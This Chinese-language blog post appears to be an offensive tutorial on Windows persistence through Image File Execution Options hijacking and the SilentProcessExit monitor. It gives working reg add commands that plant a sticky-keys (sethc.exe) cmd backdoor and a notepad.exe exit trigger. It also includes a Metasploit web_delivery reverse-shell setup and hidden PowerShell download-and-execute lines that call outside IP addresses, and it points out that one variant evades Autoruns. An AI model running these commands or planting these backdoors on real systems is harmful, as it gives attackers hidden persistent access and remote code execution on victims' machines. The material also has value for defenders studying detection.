Windows后门-映像劫持
ssooking Lv5

映像劫持

映像劫持(IFEO,Image File Execution Options)是微软提供给开发者的一个调试功能,用于把程序加载到调试器执行,通过劫持的方式由调试程序调用启动目标进程。该功能取决于注册表项Image File Execution Options下的相关项。关于利用IFEO调试进程的可以参考网上的相关文章。

IFEO可以通过注册表工具regedit.exe手工操作,也可以通过GFlags工具设置。IFEO注册表项完整路径:

1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

gflags工具是包含在Windows Debugging Tools (WinDbg)工具包中的一个全局标志编辑器,下载链接,安装之后:

  • 双击打开gflags.exe,选择Image File标签
  • 在Image栏里输入你希望调试的程序名。比如sethc.exe,Tab键刷新
  • 勾选Debugger并输入C:\windows\system32\cmd.exe

这是一个shift后门的示例。当点击应用后,sethc.exe程序会被劫持,正常情况下应该是劫持到Debugger所指定的调试器程序,由调试器程序启动目标进程,只是这里我们直接劫持使得执行的程序是cmd.exe。

进程静默退出监视特性

从Win7开始,系统增加了Monitoring Silent Process Exit特性,可以在进程静默退出时启动监视进程。其实这是给调试程序提供的事件报告功能,当程序静默退出时使用下面的几种方法进行报告。报告模式 (ReportingMode)定义如下:

Flag 作用
LAUNCH_MONITORPROCESS 0x01 检测到静默退出时,启动监视进程
LOCAL_DUMP 0x02 检测到静默退出时,将为受监视的进程以及导致终止的创建一个转储文件
NOTIFICATION 0x04 检测到静默退出时,会弹出一个通知提示

该特性开关由注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\下的GlobalFlag键值决定。

其中第一种通知方式的监视进程可以由用户指定,在gflags.exe中设置:

这个示例会在notepad程序退出时,启动一个指定的程序。此时Image File Execution Options项下notepad.exe项会被设置GlobalFlag标志,并且SilentProcessExit项下会被指定MonitorProcessReportingMode,决定了监控进程路径及报告方式。

这种方式Autoruns监测工具的”Image Hijacks”无法检测到。

shift映像劫持后门

后门效果1

​ 连续键入5次Shift键会会执行cmd.exe弹出命令行窗口

操作方法:

  1. 定位到注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options下,新建一个项,项名为sethc.exe
  2. 在右侧新建一个字符串值(REG_SZ),数值名称为Debugger,值的内容为cmd.exe的执行路径C:\windows\system32\cmd.exe

命令行操作命令:

1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

恢复命令:

1
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f

后门效果2

​ 连续键入5次Shift键,正常执行sethc.exe程序,当sethc.exe点”否”退出时,会执行cmd.exe弹出命令行窗口。

操作方法:

  1. 定位到注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options下,新建一个项,项名为sethc.exe
  2. 在右侧新建一个字符串值 DWORD (REG_DWORD),数值名称为GlobalFlag,值的内容为十进制512;
  3. 定位到注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit下,新建一个项,项名为sethc.exe
  4. 在右侧新建一个字符串值(REG_SZ),数值名称为MonitorProcess,值的内容为cmd.exe的执行路径C:\windows\system32\cmd.exe
  5. 继续在此处新建一个字符串值 DWORD (REG_DWORD),数值名称为ReportingMode,值的内容为十进制1。

命令行操作命令:

1
2
3
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v GlobalFlag /t REG_DWORD /d 512 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v ReportingMode /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v MonitorProcess /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

恢复命令:

1
2
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /f

其他程序的劫持

这里是一个示例,当关闭notepad.exe时,会出发目标系统上的一个CobaltStrike木马,获得反弹shell。

1
2
3
4
5
6
use exploit/multi/script/web_delivery
set payload windows/meterpreter/reverse_tcp
set LHOST xxxx
set LPORT 9999
set target 2 (PSH)
exploit

执行后生成攻击命令:

1
powershell.exe -nop -w hidden -c $d=new-object net.webclient;$d.proxy=[Net.WebRequest]::GetSystemWebProxy();$d.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $d.downloadstring('http://192.167.19.147:8080/6sT7UfJIvMu');

在目标系统注册表项添加后门

1
2
3
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Windows\System32\artifact.exe"

攻击效果:

使用powershell等命令也可以,不过会有个黑框一闪而过

1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://47.94.173.110:80/a'))\""

参考

  • Post title:Windows后门-映像劫持
  • Post author:ssooking
  • Create time:2019-12-20 16:50:00
  • Post link:https://ssooking.github.io/2019/12/windows后门-映像劫持/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.